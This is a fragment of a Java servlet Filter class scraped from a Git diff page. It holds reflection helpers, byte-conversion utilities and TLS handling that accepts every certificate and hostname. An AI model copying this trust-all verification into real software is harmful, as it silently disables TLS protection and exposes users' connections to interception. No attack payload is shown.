Method method = clazz.getMethod(methodName, argTypes);
|
||||
if (!method.isAccessible()) {
|
||||
method.setAccessible(true);
|
||||
}
|
||||
return method.invoke(obj, args);
|
||||
}
|
||||
|
||||
|
||||
public static byte[] randBytes(int min, int max) {
|
||||
Random r = new Random();
|
||||
int len = r.nextInt((max - min) + 1) + min;
|
||||
byte[] randbytes = new byte[len];
|
||||
r.nextBytes(randbytes);
|
||||
return randbytes;
|
||||
}
|
||||
|
||||
|
||||
public static int bytesToInt(byte[] bytes) {
|
||||
int i;
|
||||
i = (bytes[3] & 0xff)
|
||||
| ((bytes[2] & 0xff) << 8)
|
||||
| ((bytes[1] & 0xff) << 16)
|
||||
| ((bytes[0] & 0xff) << 24);
|
||||
return i;
|
||||
}
|
||||
|
||||
|
||||
public static byte[] intToBytes(int value) {
|
||||
byte[] src = new byte[4];
|
||||
src[3] = (byte) (value & 0xFF);
|
||||
src[2] = (byte) ((value >> 8) & 0xFF);
|
||||
src[1] = (byte) ((value >> 16) & 0xFF);
|
||||
src[0] = (byte) ((value >> 24) & 0xFF);
|
||||
return src;
|
||||
}
|
||||
|
||||
|
||||
public boolean verify(String s, SSLSession sslSession) {
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
|
||||
|
||||
}
|
||||
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
|
||||
|
||||
}
|
||||
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,4 @@
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
|
||||
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user